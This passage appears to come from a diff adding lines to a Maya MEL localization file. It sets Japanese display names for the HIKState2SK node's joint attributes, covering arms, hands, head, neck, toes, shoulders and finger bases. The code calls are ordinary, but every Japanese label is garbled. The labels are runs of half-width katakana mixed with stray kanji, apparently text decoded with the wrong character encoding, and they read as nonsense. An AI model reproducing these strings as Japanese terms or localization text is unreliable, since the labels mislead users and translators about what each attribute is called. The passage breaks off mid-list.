+setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRz", "ラヌーアロミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmS", "ラヌーアロヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSx", "ラヌーアロヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSy", "ラヌーアロヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSz", "ラヌーアロヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPGX", "ラヌーアロ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmROrder", "ラヌーアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSC", "ラヌーアロ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmIS", "ラヌーアロ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmISx", "ラヌーアロ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmISy", "ラヌーアロ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmISz", "ラヌーアロ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreR", "ラヌーアロミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreRx", "ラヌーアロミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreRy", "ラヌーアロミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreRz", "ラヌーアロミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostR", "ラヌーアロミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostRx", "ラヌーアロミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostRy", "ラヌーアロミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostRz", "ラヌーアロミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandT", "ラハヨニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandTx", "ラハヨニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandTy", "ラハヨニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandTz", "ラハヨニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandR", "ラハヨミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRx", "ラハヨミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRy", "ラハヨミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRz", "ラハヨミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandS", "ラハヨヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSx", "ラハヨヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSy", "ラハヨヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSz", "ラハヨヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPGX", "ラハヨ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandROrder", "ラハヨミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSC", "ラハヨ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIS", "ラハヨ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandISx", "ラハヨ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandISy", "ラハヨ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandISz", "ラハヨ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreR", "ラハヨミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreRx", "ラハヨミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreRy", "ラハヨミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreRz", "ラハヨミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostR", "ラハヨミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostRx", "ラハヨミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostRy", "ラハヨミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostRz", "ラハヨミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmT", "モメアロニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmTx", "モメアロニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmTy", "モメアロニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmTz", "モメアロニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmR", "モメアロミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRx", "モメアロミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRy", "モメアロミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRz", "モメアロミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmS", "モメアロヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSx", "モメアロヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSy", "モメアロヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSz", "モメアロヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPGX", "モメアロ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmROrder", "モメアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSC", "モメアロ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmIS", "モメアロ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmISx", "モメアロ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmISy", "モメアロ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmISz", "モメアロ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreR", "モメアロミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreRx", "モメアロミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreRy", "モメアロミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreRz", "モメアロミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostR", "モメアロミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostRx", "モメアロミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostRy", "モメアロミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostRz", "モメアロミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmT", "モメヌーアロニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmTx", "モメヌーアロニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmTy", "モメヌーアロニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmTz", "モメヌーアロニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmR", "モメヌーアロミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRx", "モメヌーアロミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRy", "モメヌーアロミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRz", "モメヌーアロミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmS", "モメヌーアロヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSx", "モメヌーアロヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSy", "モメヌーアロヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSz", "モメヌーアロヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPGX", "モメヌーアロ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmROrder", "モメヌーアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSC", "モメヌーアロ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmIS", "モメヌーアロ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmISx", "モメヌーアロ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmISy", "モメヌーアロ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmISz", "モメヌーアロ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreR", "モメヌーアロミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreRx", "モメヌーアロミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreRy", "モメヌーアロミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreRz", "モメヌーアロミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostR", "モメヌーアロミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostRx", "モメヌーアロミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostRy", "モメヌーアロミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostRz", "モメヌーアロミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandT", "モメハヨニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandTx", "モメハヨニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandTy", "モメハヨニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandTz", "モメハヨニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandR", "モメハヨミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRx", "モメハヨミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRy", "モメハヨミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRz", "モメハヨミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandS", "モメハヨヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSx", "モメハヨヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSy", "モメハヨヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSz", "モメハヨヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPGX", "モメハヨ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandROrder", "モメハヨミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSC", "モメハヨ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIS", "モメハヨ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandISx", "モメハヨ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandISy", "モメハヨ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandISz", "モメハヨ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreR", "モメハヨミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreRx", "モメハヨミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreRy", "モメハヨミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreRz", "モメハヨミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostR", "モメハヨミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostRx", "モメハヨミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostRy", "モメハヨミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostRz", "モメハヨミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadT", "ヘキイソニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "HeadTx", "ヘキイソニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadTy", "ヘキイソニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadTz", "ヘキイソニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadR", "ヘキイソミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "HeadRx", "ヘキイソミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadRy", "ヘキイソミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadRz", "ヘキイソミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadS", "ヘキイソヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSx", "ヘキイソヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSy", "ヘキイソヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSz", "ヘキイソヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPGX", "ヘキイソ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "HeadROrder", "ヘキイソミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSC", "ヘキイソ SC" ); +setAttrNiceNameResource( "HIKState2SK", "HeadIS", "ヘキイソ IS" ); +setAttrNiceNameResource( "HIKState2SK", "HeadISx", "ヘキイソ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadISy", "ヘキイソ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadISz", "ヘキイソ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreR", "ヘキイソミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreRx", "ヘキイソミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreRy", "ヘキイソミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreRz", "ヘキイソミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostR", "ヘキイソミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostRx", "ヘキイソミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostRy", "ヘキイソミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostRz", "ヘキイソミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseT", "ラスナヨコクニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseTx", "ラスナヨコクニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseTy", "ラスナヨコクニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseTz", "ラスナヨコクニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseR", "ラスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseRx", "ラスナヨコクミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseRy", "ラスナヨコクミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseRz", "ラスナヨコクミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseS", "ラスナヨコクヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSx", "ラスナヨコクヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSy", "ラスナヨコクヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSz", "ラスナヨコクヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePGX", "ラスナヨコク PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseROrder", "ラスナヨコクミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSC", "ラスナヨコク SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseIS", "ラスナヨコク IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseISx", "ラスナヨコク ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseISy", "ラスナヨコク ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseISz", "ラスナヨコク ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreR", "ラスナヨコクミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreRx", "ラスナヨコクミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreRy", "ラスナヨコクミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreRz", "ラスナヨコクミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostR", "ラスナヨコクミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostRx", "ラスナヨコクミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostRy", "ラスナヨコクミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostRz", "ラスナヨコクミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseT", "モメスナヨコクニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseTx", "モメスナヨコクニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseTy", "モメスナヨコクニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseTz", "モメスナヨコクニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseR", "モメスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseRx", "モメスナヨコクミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseRy", "モメスナヨコクミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseRz", "モメスナヨコクミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseS", "モメスナヨコクヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSx", "モメスナヨコクヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSy", "モメスナヨコクヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSz", "モメスナヨコクヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePGX", "モメスナヨコク PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseROrder", "モメスナヨコクミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSC", "モメスナヨコク SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseIS", "モメスナヨコク IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseISx", "モメスナヨコク ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseISy", "モメスナヨコク ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseISz", "モメスナヨコク ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreR", "モメスナヨコクミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreRx", "モメスナヨコクミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreRy", "モメスナヨコクミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreRz", "モメスナヨコクミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostR", "モメスナヨコクミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostRx", "モメスナヨコクミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostRy", "モメスナヨコクミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostRz", "モメスナヨコクミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderT", "ラシ酥スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderTx", "ラシ酥スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderTy", "ラシ酥スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderTz", "ラシ酥スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderR", "ラシ醪ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderRx", "ラシ醪ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderRy", "ラシ醪ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderRz", "ラシ醪ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderS", "ラシ醉キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSx", "ラシ醉キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSy", "ラシ醉キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSz", "ラシ醉キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPGX", "ラシ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderROrder", "ラシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSC", "ラシ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderIS", "ラシ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderISx", "ラシ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderISy", "ラシ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderISz", "ラシ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreR", "ラシ醪ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreRx", "ラシ醪ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreRy", "ラシ醪ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreRz", "ラシ醪ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostR", "ラシ醪ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostRx", "ラシ醪ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostRy", "ラシ醪ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostRz", "ラシ醪ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderT", "モメシ酥スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderTx", "モメシ酥スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderTy", "モメシ酥スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderTz", "モメシ酥スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderR", "モメシ醪ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderRx", "モメシ醪ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderRy", "モメシ醪ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderRz", "モメシ醪ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderS", "モメシ醉キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSx", "モメシ醉キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSy", "モメシ醉キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSz", "モメシ醉キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPGX", "モメシ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderROrder", "モメシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSC", "モメシ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderIS", "モメシ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderISx", "モメシ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderISy", "モメシ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderISz", "モメシ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreR", "モメシ醪ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreRx", "モメシ醪ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreRy", "モメシ醪ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreRz", "モメシ醪ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostR", "モメシ醪ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostRx", "モメシ醪ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostRy", "モメシ醪ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostRz", "モメシ醪ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckT", "セアイソニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "NeckTx", "セアイソニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckTy", "セアイソニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckTz", "セアイソニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckR", "セアイソミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "NeckRx", "セアイソミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckRy", "セアイソミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckRz", "セアイソミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckS", "セアイソヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSx", "セアイソヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSy", "セアイソヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSz", "セアイソヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPGX", "セアイソ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "NeckROrder", "セアイソミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSC", "セアイソ SC" ); +setAttrNiceNameResource( "HIKState2SK", "NeckIS", "セアイソ IS" ); +setAttrNiceNameResource( "HIKState2SK", "NeckISx", "セアイソ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckISy", "セアイソ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckISz", "セアイソ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreR", "セアイソミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreRx", "セアイソミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreRy", "セアイソミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreRz", "セアイソミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostR", "セアイソミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostRx", "セアイソミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostRy", "セアイソミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostRz", "セアイソミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseT", "ラハヨヨククニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseTx", "ラハヨヨククニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseTy", "ラハヨヨククニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseTz", "ラハヨヨククニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseR", "ラハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseRx", "ラハヨヨククミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseRy", "ラハヨヨククミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseRz", "ラハヨヨククミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseS", "ラハヨヨククヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSx", "ラハヨヨククヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSy", "ラハヨヨククヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSz", "ラハヨヨククヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePGX", "ラハヨヨクク PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseROrder", "ラハヨヨククミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSC", "ラハヨヨクク SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseIS", "ラハヨヨクク IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseISx", "ラハヨヨクク ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseISy", "ラハヨヨクク ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseISz", "ラハヨヨクク ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreR", "ラハヨヨククミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreRx", "ラハヨヨククミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreRy", "ラハヨヨククミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreRz", "ラハヨヨククミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostR", "ラハヨヨククミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostRx", "ラハヨヨククミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostRy", "ラハヨヨククミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostRz", "ラハヨヨククミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseT", "モメハヨヨククニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseTx", "モメハヨヨククニスメニx" ); 